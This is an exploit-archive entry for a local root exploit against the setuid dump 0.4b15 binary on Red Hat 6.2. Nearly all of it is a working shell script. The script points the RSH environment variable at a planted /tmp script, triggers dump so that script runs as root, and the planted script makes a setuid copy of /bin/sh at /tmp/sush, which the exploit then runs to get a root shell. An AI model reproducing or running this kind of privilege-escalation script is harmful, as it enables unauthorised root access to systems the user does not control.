dump 0.4b15 Local Root Exploit

2000-11-19T00:00:00
ID 1337DAY-ID-7253
Type zdt
Reporter Mat
Modified 2000-11-19T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            ==============================
dump 0.4b15 Local Root Exploit
==============================

#!/bin/sh

# Redhat 6.2 dump command executes external program 
# with suid priviledge.
# Discovered by Mat <[email protected]>
# Written for and by a scriptkid Tasc ;P
# Remember, there's no cure for BSE

echo "dump-0.4b15 root exploit"
echo "Discovered by Mat <[email protected]>"
echo "-------------------------------------"
echo
DUMP=/sbin/dump
if [ ! -u $DUMP ]; then
  echo "$DUMP is NOT setuid on this system or does not exist at all!"
  echo
  exit 0
fi
export TAPE=iamlame:iamlame
export RSH=/tmp/rsh
cat >/tmp/rsh <<__eof__
#!/bin/sh
cp /bin/sh /tmp/sush
chmod 4755 /tmp/sush
}
__eof__
chmod 755 /tmp/rsh
/sbin/dump -0 /
echo
echo "Waiting for rootshell .... 5 seconds...."
sleep 5
/tmp/sush
id



#  0day.today [2018-03-02]  #